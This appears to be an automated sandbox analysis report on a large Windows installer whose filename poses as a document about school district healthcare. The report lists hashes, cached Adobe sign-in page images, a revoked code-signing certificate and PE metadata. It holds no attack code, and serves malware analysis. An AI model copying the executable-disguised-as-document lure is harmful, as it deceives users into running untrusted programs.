Size (bytes):	1018
Entropy (8bit):	4.9180707096242395
Encrypted:	false
SSDEEP:	24:tbMB0N6bJK+I6Ng9naR3n8BoDU/pfSXajb2X32Md/xWMd/qoMdjI:wvbJK+ImgdaR8oCpfL83Bd/xhd/qfdM
MD5:	2F5B6831B8B9863CA44D4C84427D55DB
SHA1:	041110F845CAD77582A009481BACB70EFDAC73E9
SHA-256:	D295C74ADFAD84A0D7C3E720A70126A7405B396D20A61CE25D1D67266D672E11
SHA-512:	5858F6D6224B27E6749E8D876F5FB956ECA710038E1D21AE43D740E6BF6B64EAC1EB91B79E6F266B8E78C62C2B5E07FC560E8847AA65ACF711CAA382476A63F0
Malicious:	false
URL:	https://auth.services.adobe.com/img/generic/jarvis_bubble_chat.svg
Preview:	<svg id="production" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">. <defs>. <style>. .cls-1 {. fill: #4b4b4b;. }. </style>. </defs>. <title>Artboard 68</title>. <path class="cls-1" d="M17.99316,30.06445a1.98415,1.98415,0,0,1-1.48828-.67383L10.82422,23H5.05957A5.0659,5.0659,0,0,1,0,17.93945V7.05957A5.06506,5.06506,0,0,1,5.05957,2H26.93994A5.06548,5.06548,0,0,1,32,7.05957V17.93945A5.06632,5.06632,0,0,1,26.93994,23H20v5.0625a1.98517,1.98517,0,0,1-1.28955,1.86914A2.00829,2.00829,0,0,1,17.99316,30.06445ZM5.05957,4A3.06278,3.06278,0,0,0,2,7.05957V17.93945A3.06361,3.06361,0,0,0,5.05957,21h6.21387a.99954.99954,0,0,1,.74756.33594L18,28.0625V22a.99974.99974,0,0,1,1-1h7.93994A3.06372,3.06372,0,0,0,30,17.93945V7.05957A3.06288,3.06288,0,0,0,26.93994,4Z"/>. <g>. <circle class="cls-1" cx="9.70414" cy="12.5" r="2.09862"/>. <circle class="cls-1" cx="16" cy="12.5" r="2.09862"/>. <circle class="cls-1" cx="22.29586" cy="12.5" r="2.09862

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	751
Entropy (8bit):	4.648170767212003
Encrypted:	false
SSDEEP:	12:t4sBECSOn7QVP8B/HaqhAX7dU2SHalK3eRVnzKmQweoxGIJeJMcfNr77JBTyl1bj:t4sBjn7h1HaqAX7dtRK+Jz9eoxdJeJMZ
MD5:	A23D338C5AB2E6A2ECEAB9436B376308
SHA1:	45AE78B6650AA62FE93330806D5F5D430BF269B3
SHA-256:	F4B5AE2B108AC757F4EA43905CD55BE4816D65AE45CBF48FBE4AAB6AA1D6F92F
SHA-512:	FCAF93369A81BCE4B6441EEF3D294DE26CA5F8DFF34E63BA88BE0CA18ECB2C15097D5D26D64284CEEF00203B41EC6F87096697C493118DB6D7FDA49CE76B573B
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="26.034" height="32" viewBox="0 0 26.034 32"><g transform="translate(0 0)"><path d="M31.354,22.608a7.272,7.272,0,0,1,3.463-6.1,7.444,7.444,0,0,0-5.865-3.171c-2.468-.259-4.86,1.477-6.117,1.477-1.282,0-3.218-1.451-5.3-1.408a7.811,7.811,0,0,0-6.573,4.009c-2.842,4.921-.722,12.152,2,16.129,1.362,1.948,2.954,4.123,5.037,4.046,2.038-.085,2.8-1.3,5.26-1.3,2.438,0,3.152,1.3,5.277,1.251,2.187-.035,3.565-1.956,4.88-3.922a16.109,16.109,0,0,0,2.231-4.544,7.027,7.027,0,0,1-4.29-6.465Z" transform="translate(-9.609 -5.59)"/><path d="M23.551,12.976a7.16,7.16,0,0,0,1.638-5.13,7.285,7.285,0,0,0-4.714,2.439,6.813,6.813,0,0,0-1.681,4.94A6.024,6.024,0,0,0,23.551,12.976Z" transform="translate(-5.82 -7.847)"/></g></svg>

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	707
Entropy (8bit):	5.299043578011239
Encrypted:	false
SSDEEP:	12:trOT8FuqGGNiHFu0wLHBIhRQAN4zUVX2aDG4fpDYtaDLe4zrVNeUKeN4f44igsKA:tKT8FuqGGNIu0wTQbNTXbDGCUtaDiOVN
MD5:	5802D46C081EB2B1B9FDF3E78CDD02EA
SHA1:	B4E4683477E447F588E03C13CDF469D886D44D50
SHA-256:	1A3823AEF10B6EDBD52C427AC06191787429DDABACCE30C11CA3A46E0B0FA008
SHA-512:	B0C21AB2C30AE3797A56CE2C98B063F6E14CEA00C9D9D210E75A23F992371D5FC4AAC1E449F2B07502A09446ADC02A92A46BC76AA6B0EF8C5B7C227465834A0E
Malicious:	false
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<circle cx="20" cy="20" r="19" fill="white" stroke="#E6E6E6" stroke-width="2"/>.<g clip-path="url(#clip0_6_2637)">.<path d="M12 12H28V28H12V12Z" fill="#F3F3F3"/>.<path d="M12.6956 12.6956H19.6522V19.6522H12.6956V12.6956Z" fill="#F35325"/>.<path d="M20.3478 12.6956H27.3044V19.6522H20.3478V12.6956Z" fill="#81BC06"/>.<path d="M12.6956 20.3478H19.6522V27.3043H12.6956V20.3478Z" fill="#05A6F0"/>.<path d="M20.3478 20.3478H27.3044V27.3043H20.3478V20.3478Z" fill="#FFBA08"/>.</g>.<defs>.<clipPath id="clip0_6_2637">.<rect width="16" height="16" fill="white" transform="translate(12 12)"/>.</clipPath>.</defs>.</svg>.

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	344
Entropy (8bit):	4.7966070819921685
Encrypted:	false
SSDEEP:	6:tI9mc4slzblftlGrUQtaKu4RnKSinpK/Ve9xXnpKlptMiSinpKFAmtMlxXnpK9L:t4NlfPGrUm6nAgXnAlVnAFABXnAt
MD5:	24E5106CCB2BAD68CBFD17822AB66C7C
SHA1:	96D0AE096B74550DEEC5DD54C6B98C9C6E3FA43F
SHA-256:	0703A621353241F2233FEDC6CD1B1231EAFD3FB611E1A5DE33AAD00A06111ADC
SHA-512:	EAE68A31B71C8FC855E9809FF7AF92310AE0FAD227780BBCE50C694962D2DA9A7A62AC9F3E3E1ABA85B06ADF31E9DD3585B379FDE327AB013DF075E452543A76
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/round/microsoft.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 21 21"><title>MS-SymbolLockup</title><rect x="1" y="1" width="9" height="9" fill="#f25022"/><rect x="1" y="11" width="9" height="9" fill="#00a4ef"/><rect x="11" y="1" width="9" height="9" fill="#7fba00"/><rect x="11" y="11" width="9" height="9" fill="#ffb900"/></svg>.

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1288
Entropy (8bit):	5.003353448492329
Encrypted:	false
SSDEEP:	24:2dkLxsN6g4R+p6Epwta0J5vDwNK6nCHxhfJPmggvn/H0SSHmDFR3l4:csxK2WDaJ+whHhmggv/UUR36
MD5:	22C0F5D1D9486E8AECC35634DE0EBC51
SHA1:	81638BFBDCD5C1391F993041E23CE2EC55407774
SHA-256:	BFE117A5846194E309FEB56EA18137CBF5C8080B5D5DB2FC4ECA8E3B3B09C617
SHA-512:	F79D173467CE83525FB6504E337B82CB6BB8E845F48ADDA0D1ACB68033C95BFC7BF93198BA2883DE997299756AEF7CB0F5899907B865986E938B63CDE5606EF7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 25 25">. <defs>. <style>. .cls-1 {. clip-path: url(#clippath);. }.. .cls-2 {. fill: none;. }.. .cls-2, .cls-3, .cls-4, .cls-5 {. stroke-width: 0px;. }.. .cls-6 {. mask: url(#mask);. }.. .cls-4 {. fill: #fee500;. }.. .cls-5 {. fill: #fff;. }. </style>. <clipPath id="clippath">. <rect class="cls-2" x="6.5" y="7.5" width="12" height="10"/>. </clipPath>. <mask id="mask" x="-37.14" y="-31.7" width="101.41" height="64.6" maskUnits="userSpaceOnUse">. <g id="mask0_523_4559" data-name="mask0 523 4559">. <path class="cls-5" d="m-37.14-31.7h101.41V32.9H-37.14V-31.7Z"/>. </g>. </mask>. </defs>. <rect class="cls-4" x="0" y="0" width="25" height="25" rx="12.5" ry="12.5"/>. <g class="cls-1">.

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	344
Entropy (8bit):	4.7966070819921685
Encrypted:	false
SSDEEP:	6:tI9mc4slzblftlGrUQtaKu4RnKSinpK/Ve9xXnpKlptMiSinpKFAmtMlxXnpK9L:t4NlfPGrUm6nAgXnAlVnAFABXnAt
MD5:	24E5106CCB2BAD68CBFD17822AB66C7C
SHA1:	96D0AE096B74550DEEC5DD54C6B98C9C6E3FA43F
SHA-256:	0703A621353241F2233FEDC6CD1B1231EAFD3FB611E1A5DE33AAD00A06111ADC
SHA-512:	EAE68A31B71C8FC855E9809FF7AF92310AE0FAD227780BBCE50C694962D2DA9A7A62AC9F3E3E1ABA85B06ADF31E9DD3585B379FDE327AB013DF075E452543A76
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 21 21"><title>MS-SymbolLockup</title><rect x="1" y="1" width="9" height="9" fill="#f25022"/><rect x="1" y="11" width="9" height="9" fill="#00a4ef"/><rect x="11" y="1" width="9" height="9" fill="#7fba00"/><rect x="11" y="11" width="9" height="9" fill="#ffb900"/></svg>.

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1241
Entropy (8bit):	4.649162120071889
Encrypted:	false
SSDEEP:	24:t8SYcRjJhx/jywbPB3rQUrdSo/gdfmEcKJaan+x8J1DYW+u8wjI:5VjhjywbNrQUBSoIdfrTJY8J1DYW+u8f
MD5:	F3D8620B91A594708B45B74945D91C5C
SHA1:	5D8A283E9E07ADE59AE6A6C2358FEB8DABB82C76
SHA-256:	C7AB8D6C9467379D20F162C6F04FE508C6411D2799E59852E59CDB89CDDE2966
SHA-512:	3B5D029730C9AECE4A47D1DDD2364EEE1E4AE5421F710A38B078C02FCD1B486799CD0D84EEB2C8581B6A77F1F682EAB9592FEF5BB32057D22574B9E0332888FB
Malicious:	false
URL:	https://auth.services.adobe.com/img/social/sml-apple-logo.svg
Preview:	<svg id="Group_155509" data-name="Group 155509" xmlns="http://www.w3.org/2000/svg" width="50" height="50" viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25"/>. <g id="Group_74582" data-name="Group 74582" transform="translate(14.5 10.502)">. <path id="Apple_logo_black" d="M37.33,23.428a13.555,13.555,0,0,1-1.34,2.41,12.244,12.244,0,0,1-1.727,2.087,3.349,3.349,0,0,1-2.219.977,5.562,5.562,0,0,1-2.05-.489,5.882,5.882,0,0,0-2.207-.488,6.081,6.081,0,0,0-2.269.488,6.106,6.106,0,0,1-1.961.516,3.154,3.154,0,0,1-2.269-1,12.857,12.857,0,0,1-1.806-2.161,14.943,14.943,0,0,1-1.91-3.793,13.89,13.89,0,0,1-.8-4.521,8.256,8.256,0,0,1,1.084-4.319,6.36,6.36,0,0,1,2.271-2.3,6.108,6.108,0,0,1,3.07-.866,7.228,7.228,0,0,1,2.374.553,7.633,7.633,0,0,0,1.883.554,11.269,11.269,0,0,0,2.088-.652,6.9,6.9,0,0,1,2.839-.5A6.027,6.027,0,0,1,37.1,12.4a5.252,5.252,0,0,0-2.785,4.771,5.263,5.263,0,0,0,1.728,3.966,5.679,5.679,0,0,0,1.727,1.133q-.208.6-.44,1.156ZM32.519,4.5a5.319,5.319,0,0,1-1.363,

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1923
Entropy (8bit):	4.58221937716664
Encrypted:	false
SSDEEP:	48:cyjp5JKonwXuczIo9Io9Iq23IMCQl7/jYIBQZQUPH:3LJ031919k9f7jrBQxv
MD5:	DD9BE0188FAD7B70E52624E7359F1C28
SHA1:	6C1458F73FEE69BCED6CA621FBF0FE7C100E1B42
SHA-256:	21356A5723CD98BD26A7A7D9A5A2A97529C622BFF44E53793EE7D2DF95438CD8
SHA-512:	228F1840617F0EC19ED65F6A9300630BFD0D0CA71657C0A3FB707949A2F98E4D440B8F82C397CC538BB6A9E7C35C7AB88C5FE8D9487022A24512B93C6F95E8F1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="LINE_LOGO" data-name="LINE LOGO" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50">. <defs>. <style>. .cls-1 {. fill: #4cc764;. }.. .cls-1, .cls-2 {. stroke-width: 0px;. }.. .cls-2 {. fill: #fff;. }. </style>. </defs>. <circle class="cls-1" cx="25" cy="25" r="25"/>. <g>. <path class="cls-2" d="m41.67,23.54c0-7.47-7.49-13.54-16.69-13.54s-16.69,6.08-16.69,13.54c0,6.7,5.94,12.3,13.96,13.36.54.12,1.28.36,1.47.82.17.42.11,1.08.05,1.51,0,0-.2,1.18-.24,1.43-.07.42-.34,1.65,1.45.9,1.78-.75,9.61-5.66,13.11-9.69h0c2.42-2.65,3.58-5.34,3.58-8.33Z"/>. <g>. <path class="cls-1" d="m36.12,27.86c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-3.19v-1.23h3.19c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-3.19v-1.23h3.19c.18,0,.32-.14.32-.32v-1.18c0-.18-.14-.32-.32-.32h-4.69c-.18,0-.32.14-.32.32h0v7.28h0c0,.18.14.32.32.32h4.69Z"/>. <path class="cls-1" d="m18.78,27.86c.18

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), CFF, length 29752, version 1.0
Category:	downloaded
Size (bytes):	29752
Entropy (8bit):	7.991259791890674
Encrypted:	true
SSDEEP:	384:2eV5XX2zIpJY49uOFnjbPdch4XsBocL8S5n9nLZVzBL21uT0mMiQd7TJeAJWAa4:jvfY4uOJJsicL8SrL3zBL70mNA
MD5:	B45F7B0B58EA5CD543323A5E4BA4724B
SHA1:	03E815A2FA7461F31FC8ECC18A7063930FC87475
SHA-256:	9ABA873D54C84D8D56CFE572AB802BB34322DE6FD945C286D278FABE29A9F3F0
SHA-512:	0726643B1B961B3A2E67380A6CED69030E5E97E99C938EBA29830638CC0CA7CF0C42E22DFC6AC77553B21B4E71FF8E3C6BDB8004168449C182A88C9A380D3422
Malicious:	false
URL:	https://use.typekit.net/af/40207f/0000000000000000000176ff/27/l?subset_id=2&fvd=n3&v=3
Preview:	wOF2OTTO..t8..........s..........................F...]?DYNA.i?GDYN.y..r.`..N...6.$..H....7. ............y..h.0....UUU.&.w... .._..w..._..........s..;.L.xJ.%..4w....{I>le-.pU....[Y.B......_v.....a\|.%8Jj"4...I..O.O..d}.A.8P......a.f..S.Oh[...{w....M"...[.,`.B2...`.K=Ql.S...&;....M.C...Z*)..P..S..[;........7.K....h...%..jIC....-.N...n....P....%9.Le.....pT..Z..vk..........:..hvP.Q..h;.....i^__.N.@9.O...G...d...i.D_.6...3..<c..Hw.=...m.. .i...:..m0.H....\......<........4... ..'"<qQ....C.S..A.J.,2.... .2_.....s......[......\|.@.6);.O....w6.&[x..7.z.\|....if..XDE..].Mp.).I.i.'..H....PW..[c..oUOe...5....^.sJB.(^b.... fL.[..>.J.4.y.....0{QN...4.....E..Qdf....5b....d,.3.^.Z.UD.!..y.....i77.$.S........F.2.8.:.h....az.........:....`x........S_. ..$.q{J..Z2..iWqG`[f.M...p&...3..w....{......:h.....i.qg.%...x...a(...0...2...>...^.w..\.w..e.....]..S;..b..d....+...ld..w....r.k.1QJ...y.a_..\+.g^Vp....v.3[r..+...B>$w....}....u...+8...x..U..6..1Ln!zS..w..h

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2258)
Category:	downloaded
Size (bytes):	17008
Entropy (8bit):	5.5502271222360395
Encrypted:	false
SSDEEP:	384:cx2hpIgIVsUGiRm4lIeU4iDFeFs2NdFJsQF+i:cR7GiRm4X0JqsG7Ui
MD5:	A10396392AF7006E81573A789F8F0367
SHA1:	187F5E45A312D581FE4248DFF447F6DC4DDB208D
SHA-256:	92C86130DAF66FC1BCEF9A45A15608ABE448740ABDC3BCA1EEE9301767DDAF8B
SHA-512:	092900888FD08AE5B5458E91F92880EF10D909BA9F4656FB8DD80B9A4E24760213D5CB02E5BD6849360797FDD1D0D85E71BF4A6C868A40C9110EF3F7765300EA
Malicious:	false
URL:	https://use.typekit.net/ecr2zvs.js
Preview:	/. The Typekit service used to deliver this font or fonts for use on websites. * is provided by Adobe and is subject to these Terms of Use. * http://www.adobe.com/products/eulas/tou_typekit. For font license. * information, see the list below.. . adobe-clean:. * - http://typekit.com/eulas/000000000000000000017701. * - http://typekit.com/eulas/000000000000000000017703. * - http://typekit.com/eulas/0000000000000000000176ff. . . 2009-2024 Adobe Systems Incorporated. All Rights Reserved.. */.if(!window.Typekit)window.Typekit={};window.Typekit.config={"a":"1164490","c":[".tk-adobe-clean","\"adobe-clean\",sans-serif"],"fi":[7180,7182,7184],"fc":[{"id":7180,"family":"adobe-clean","src":"https://use.typekit.net/af/cb695f/000000000000000000017701/27/{format}{?primer,subset_id,fvd,v}","descriptors":{"weight":"400","style":"normal","stretch":"normal","display":"auto","variable":false,"subset_id":2}},{"id":7182,"family":"adobe-clean","src":"https://use.typekit.net/af/eaf09c/0000000

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1797
Entropy (8bit):	4.631584269642909
Encrypted:	false
SSDEEP:	24:2d/E1mN9OBEdJKpTzvkbxmDyeX9MUS6ifS4vrZm/e+It92k5jf7d1jSJXKkcn0E:c/UWJKMpeiUTCmG+I335jzDjSJ6kbE
MD5:	F639F757A2B5B00E98F3F1EA31404C1E
SHA1:	C625262F64F47B4D92B4A61CBC509671941DC9EA
SHA-256:	AE1F7BC6026339F4355FC367C8F13F971CB3E06E528321663F8A41B53587D9CE
SHA-512:	F66758828FC5ED03CB8D7C4A80E013C2D1978D3AF625AE4203BF4CB043D4DA38F3CEDBB9EB3BC514936B25B8DD62C665F13030B8D0CD3192F969F161C269F3E6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<svg id="Layer_2" data-name="Layer 2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 28 28">. <defs>. <style>. .cls-1 {. fill: #06c755;. }.. .cls-1, .cls-2 {. stroke-width: 0px;. }.. .cls-2 {. fill: #fff;. }. </style>. </defs>. <g id="LINE_LOGO" data-name="LINE LOGO">. <g>. <rect class="cls-1" x="6" y="6" width="16" height="16" rx="3.61" ry="3.61"/>. <g>. <path class="cls-2" d="m19.33,13.25c0-2.39-2.39-4.33-5.33-4.33s-5.33,1.94-5.33,4.33c0,2.14,1.9,3.93,4.46,4.27.17.04.41.11.47.26.05.13.03.35.02.48,0,0-.06.38-.08.46-.02.13-.11.53.46.29.57-.24,3.07-1.81,4.19-3.1h0c.77-.85,1.14-1.71,1.14-2.66h0Z"/>. <g>. <path class="cls-1" d="m17.56,14.62h-1.5c-.06,0-.1-.05-.1-.1h0v-2.33h0c0-.06.05-.1.1-.1h1.5c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h-1.02v.39h1.02c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h-1.02v.39h1.02c.06,0,.1.05.1.1v.38c0,.06-.05.1-.1.1h0Z"/>. <path

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	5.2053804842426485
Encrypted:	false
SSDEEP:	24:tsWIKcfjJhKjY5AV8LVM3xjMAQilUK4clMMAk2iIlXQLxGMA9boilT7OQw/acW/E:fIhjVKVUYpQvK47PBOm9cs3wSTW8m
MD5:	E3A1F922468504DD26B5BEB3FEB94C58
SHA1:	52EA51104CD2720EBE6282BD15CAFCFE92F83C57
SHA-256:	9F27DFEE04F2DD28B95E41E3D416FC4C26BCA076591FC15CF24AB5646F966599
SHA-512:	DF01B8E262C955823E5D99C28EBE79386175FF240C6A862A9961B851E7C2EC8C5931495F426D95FE031EEBA315FCD36E940A86A8A4E67301B288232927CAE69D
Malicious:	false
Preview:	<svg id="Button_-_Google" data-name="Button - Google" xmlns="http://www.w3.org/2000/svg" width="50" height="50". viewBox="0 0 50 50">. <rect id="Background" width="50" height="50" rx="25" fill="#fff"/>. <g id="Group_69890" data-name="Group 69890" transform="translate(13 10.771)">. <g id="logo_googleg_48dp" transform="translate(0 2.228)">. <path id="Shape" d="M20.52,9.818A13.788,13.788,0,0,0,20.3,7.364H9v4.642h6.458a5.52,5.52,0,0,1-2.395,3.622v3.011h3.878a11.7,11.7,0,0,0,3.578-8.82Z" transform="translate(3 2.455)" fill="#4285f4" fill-rule="evenodd"/>. <path id="Shape-2" data-name="Shape" d="M11.681,20.43a11.456,11.456,0,0,0,7.942-2.907l-3.878-3.011a7.24,7.24,0,0,1-10.778-3.8H.957v3.109A12,12,0,0,0,11.681,20.43Z" transform="translate(0.319 3.57)" fill="#34a853" fill-rule="evenodd"/>. <path id="Shape-3" data-name="Shape" d="M5.285,12.627a7.094,7.094,0,0,1,0-4.56V4.958H1.276a12.015,12.015,0,0,0,0,10.778l4.009-3.109Z" transform="translate(0 1.653)" fill="#fbbc05" fil

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.993907634477875
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
File size:	321'527'232 bytes
MD5:	988955bfa46336be7eb44f11f5427699
SHA1:	86f277c2e39af1a01575c30f601c4c411297c78e
SHA256:	1c01b0f68306375e4cc9209e2bbb94965fbb943b75946a390a53fd05bb9b3c16
SHA512:	5b1197c9359c7e4ac0b64b828b47117310deb7c8a22d4e21f675d20826db18707abab870308af5df1fd2bf30776cd8c159d0bb4c2dfaf7b55e7e409b7df6ad83
SSDEEP:	196608:jxq37itqtgE0DWAjzkUz4fs8d3gpnwu3KbPZmHt+kFzO7/:dptqf5+z6s+7/oHtN+
TLSH:	A4E8F2AF5BFA13A2911DDDF74C4C770C0E41BBF0E03B55281A5299EA846F6691C312AF
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	74f4e4dce4f2e4e4

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	A certificate was explicitly revoked by its issuer
Error Number:	-2146762484
Not Before, Not After	30/08/2023 16:48:33 29/08/2024 16:48:33
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=UA, OID.2.5.4.15=Private Organization, CN="\u0422\u041e\u0412 ""\u0411\u043b\u0443 \u0421\u0435\u0438\u0306\u043b \u041a\u043e\u043c\u043e\u0434\u0456\u0442\u0456""", SERIALNUMBER=45224266, O="\u0422\u041e\u0412 ""\u0411\u043b\u0443 \u0421\u0435\u0438\u0306\u043b \u041a\u043e\u043c\u043e\u0434\u0456\u0442\u0456""", L=Kyiv, C=UA
Version:	3
Thumbprint MD5:	E3879A408A72E758696236F0DE306403
Thumbprint SHA-1:	949F349032F495EC682A1D6A58D892ED9145A2ED
Thumbprint SHA-256:	77D7E2BFC769C1376E1F55398D0D08987C0FF3A08CF6897FCDC0932019D739C2
Serial:	27987C7E3C455F499B18AFD03B3CBBDF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F2CA10C8BC5h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F2CA116B6B7h
call 00007F2CA116B20Ah
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F2CA10DE664h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F2CA10C37B7h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F2CA10DF7E7h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F2CA116B73Fh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F2CA117195Ah
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F2CA10E00DCh
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0xe2d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1329f760	0x2660
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	43af0a9476ca224d8e8461f1e22c94da	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	185e04b9a1f554e31f7f848515dc890c	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	cab2107c933b696aa5cf0cc6c3fd3980	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	e7d1635e2624b124cfdce6c360ac21cd	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
